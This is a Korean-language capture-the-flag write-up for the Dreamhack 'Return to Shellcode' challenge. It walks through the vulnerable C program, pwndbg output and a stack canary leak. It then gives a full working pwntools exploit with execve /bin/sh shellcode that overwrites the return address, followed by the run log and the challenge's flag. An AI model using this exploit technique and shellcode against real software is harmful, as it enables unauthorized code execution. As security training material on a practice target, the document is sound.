dreamhack - Return to Shellcode writeup
[dreamhack] Return to Shellcode writeup
1. 문제
Exploit Tech: Return to Shellcode에서 실습하는 문제입니다.
https://dreamhack.io/wargame/challenges/3522. 풀이
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
먼저 buf의 주소와 buf와 $rbp의 거리를 알려준다.
그뒤 canary leak을 위해서 입력을 하고, 리턴 주소를 덮을 기회를 준다.
canary는 bof 공격을 보호하기 위해 스택 마지막 부분, 리턴주소와 sfp 이전에 존재하는 임의의 8바이트짜리 랜덤값이다.
(32비트에서는 4바이트)
그러면 canary를 어떻게 leak을 하느냐이다. 코드를 보면 %s로 입력한 내용을 출력해주기 때문에, null 문자가 나올 때까지 출력해줄 것이다. 이를 이용해서 buf 변수를 꽉채우면 canary를 모두 출력할 수 있을 것이다.
그런데 중요한 것은 canary는 일반적으로 이러한 leak을 방지하기 위해서(?) null이 마지막 1 또는 2바이트를 차지하게 된다. 예를 들면 0x7e179e56f4221c00 이런식….
gdb를 보면 canary는 rbp-0x8위치에 있고, buf는 rbp-0x60에 위치한다.
pwndbg> disass main
Dump of assembler code for function main:
0x00000000000008cd <+0>: push rbp
0x00000000000008ce <+1>: mov rbp,rsp
0x00000000000008d1 <+4>: sub rsp,0x60
0x00000000000008d5 <+8>: mov rax,QWORD PTR fs:0x28
0x00000000000008de <+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000000008e2 <+21>: xor eax,eax
0x00000000000008e4 <+23>: mov eax,0x0
0x00000000000008e9 <+28>: call 0x88a <init>
0x00000000000008ee <+33>: lea rax,[rbp-0x60]
0x00000000000008f2 <+37>: mov rsi,rax
0x00000000000008f5 <+40>: lea rdi,[rip+0x16c] # 0xa68
0x00000000000008fc <+47>: mov eax,0x0
0x0000000000000901 <+52>: call 0x720 <printf@plt>
0x0000000000000906 <+57>: mov rax,rbp
0x0000000000000909 <+60>: mov rdx,rax
0x000000000000090c <+63>: lea rax,[rbp-0x60]
0x0000000000000910 <+67>: sub rdx,rax
0x0000000000000913 <+70>: mov rax,rdx
0x0000000000000916 <+73>: mov rsi,rax
0x0000000000000919 <+76>: lea rdi,[rip+0x160] # 0xa80
0x0000000000000920 <+83>: mov eax,0x0
0x0000000000000925 <+88>: call 0x720 <printf@plt>
0x000000000000092a <+93>: lea rdi,[rip+0x173] # 0xaa4
0x0000000000000931 <+100>: call 0x700 <puts@plt>
0x0000000000000936 <+105>: lea rdi,[rip+0x17b] # 0xab8
0x000000000000093d <+112>: mov eax,0x0
0x0000000000000942 <+117>: call 0x720 <printf@plt>
0x0000000000000947 <+122>: mov rax,QWORD PTR [rip+0x2006c2] # 0x201010 <stdout@@GLIBC_2.2.5>
0x000000000000094e <+129>: mov rdi,rax
0x0000000000000951 <+132>: call 0x750 <fflush@plt>
0x0000000000000956 <+137>: lea rax,[rbp-0x60]
0x000000000000095a <+141>: mov edx,0x100
0x000000000000095f <+146>: mov rsi,rax
0x0000000000000962 <+149>: mov edi,0x0
0x0000000000000967 <+154>: call 0x730 <read@plt>
0x000000000000096c <+159>: lea rax,[rbp-0x60]
0x0000000000000970 <+163>: mov rsi,rax
0x0000000000000973 <+166>: lea rdi,[rip+0x146] # 0xac0
0x000000000000097a <+173>: mov eax,0x0
0x000000000000097f <+178>: call 0x720 <printf@plt>
0x0000000000000984 <+183>: lea rdi,[rip+0x14d] # 0xad8
0x000000000000098b <+190>: call 0x700 <puts@plt>
0x0000000000000990 <+195>: lea rdi,[rip+0x121] # 0xab8
0x0000000000000997 <+202>: mov eax,0x0
0x000000000000099c <+207>: call 0x720 <printf@plt>
0x00000000000009a1 <+212>: mov rax,QWORD PTR [rip+0x200668] # 0x201010 <stdout@@GLIBC_2.2.5>
0x00000000000009a8 <+219>: mov rdi,rax
0x00000000000009ab <+222>: call 0x750 <fflush@plt>
0x00000000000009b0 <+227>: lea rax,[rbp-0x60]
0x00000000000009b4 <+231>: mov rdi,rax
0x00000000000009b7 <+234>: mov eax,0x0
0x00000000000009bc <+239>: call 0x740 <gets@plt>
0x00000000000009c1 <+244>: mov eax,0x0
0x00000000000009c6 <+249>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000000009ca <+253>: xor rcx,QWORD PTR fs:0x28
0x00000000000009d3 <+262>: je 0x9da <main+269>
0x00000000000009d5 <+264>: call 0x710 <__stack_chk_fail@plt>
0x00000000000009da <+269>: leave
0x00000000000009db <+270>: ret
End of assembler dump.
우선 main+21에 breakpoint를 걸고, rbp-0x8에 어떻게 들어가는지 확인해보자.
pwndbg> b*main+21
Breakpoint 2 at 0x5555554008e2
pwndbg> c
Continuing.
Breakpoint 2, 0x00005555554008e2 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────
*RAX 0x67d2b93405fadf00
RBX 0x7fffffffe2c8 —▸ 0x7fffffffe541 ◂— '/home/ubuntu/dreamhack/level2/Return_to_Shellcode/r2s'
RCX 0x5555554009e0 (__libc_csu_init) ◂— push r15
RDX 0x7fffffffe2d8 —▸ 0x7fffffffe577 ◂— 'SHELL=/bin/bash'
RDI 1
RSI 0x7fffffffe2c8 —▸ 0x7fffffffe541 ◂— '/home/ubuntu/dreamhack/level2/Return_to_Shellcode/r2s'
R8 0x555555400a50 (__libc_csu_fini) ◂— repz ret
R9 0x7ffff7fca380 (_dl_fini) ◂— endbr64
R10 0x7fffffffdec0 ◂— 0x800000
R11 0x203
R12 1
R13 0
R14 0
R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555400000 ◂— jg 0x555555400047
*RBP 0x7fffffffe1a0 —▸ 0x7fffffffe240 —▸ 0x7fffffffe2a0 ◂— 0
*RSP 0x7fffffffe140 ◂— 0x100000017
*RIP 0x5555554008e2 (main+21) ◂— xor eax, eax
───────────────────────────────────[ DISASM / x86-64 / set emulate off ]───────────────────────────────────
b+ 0x5555554008cd <main> push rbp
0x5555554008ce <main+1> mov rbp, rsp
0x5555554008d1 <main+4> sub rsp, 0x60
0x5555554008d5 <main+8> mov rax, qword ptr fs:[0x28] RAX, [0x7ffff7fb2768]
0x5555554008de <main+17> mov qword ptr [rbp - 8], rax
► 0x5555554008e2 <main+21> xor eax, eax EAX => 0
0x5555554008e4 <main+23> mov eax, 0 EAX => 0
0x5555554008e9 <main+28> call init <init>
0x5555554008ee <main+33> lea rax, [rbp - 0x60]
0x5555554008f2 <main+37> mov rsi, rax
0x5555554008f5 <main+40> lea rdi, [rip + 0x16c] RDI => 0x555555400a68 ◂— jb 0x555555400ad2 /* 'Address of the buf: %p\n' */
─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe140 ◂— 0x100000017
01:0008│-058 0x7fffffffe148 ◂— 0
... ↓ 6 skipped
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
► 0 0x5555554008e2 main+21
1 0x7ffff7c2a1ca __libc_start_call_main+122
2 0x7ffff7c2a28b __libc_start_main+139
3 0x5555554007aa _start+42
───────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/10gx $rbp-8
0x7fffffffe198: 0x67d2b93405fadf00 0x00007fffffffe240
0x7fffffffe1a8: 0x00007ffff7c2a1ca 0x00007fffffffe1f0
0x7fffffffe1b8: 0x00007fffffffe2c8 0x0000000155400040
0x7fffffffe1c8: 0x00005555554008cd 0x00007fffffffe2c8
0x7fffffffe1d8: 0xb06b2ab07b2a81a3 0x0000000000000001
마지막을 보면 0x67d2b93405fadf00이라는 값을 확인할 수 있고, 예상되는 널바이트는 하나이다.
따라서 0x60 - 0x8인 0x58바이트에 1바이트를 더한 0x59바이트를 buf에 입력해주면 그다음 나오는 7바이트가 canary가 될 것이다.
checksec을 확인해보면 스택에서 코드를 실행시킬 수 있으므로, buf위치에 shellcode를 넣고 리턴주소를 buf주소로 덮어주면 쉘이 실행될 것이다.
정리한 최종 exploit은 아래와 같다.
from pwn import *
#p = process("./r2s")
p = remote("host3.dreamhack.games", 15296)
tmp = p.recvuntil("Input: ")
buf_addr = int(tmp.split()[4].decode(), 16)
print(buf_addr)
p.send(b"a" * 88 + b'b')
tmp = p.recvuntil(b'b')
canary = u64(b"\x00" + p.recv(7))
print(hex(canary))
shellcode = b'\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
p.recvuntil("Input: ")
payload = b'\x90' * 8
payload += shellcode
payload += b'\x90' * (88 - 8 - len(shellcode))
payload += p64(canary)
payload += b"a" * 8
payload += p64(buf_addr)
p.send(payload)
sleep(1)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/Return_to_Shellcode$ python3 e_r2s.py
[+] Opening connection to host3.dreamhack.games on port 15296: Done
/home/ubuntu/dreamhack/level2/Return_to_Shellcode/e_r2s.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
tmp = p.recvuntil("Input: ")
140733860162336
0xc33ba365fc5faa00
/home/ubuntu/dreamhack/level2/Return_to_Shellcode/e_r2s.py:19: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Input: ")
[*] Switching to interactive mode
$ id
$ cat flag
DH{333eb89c9d2615dd8942ece08c1d34d5}
해결~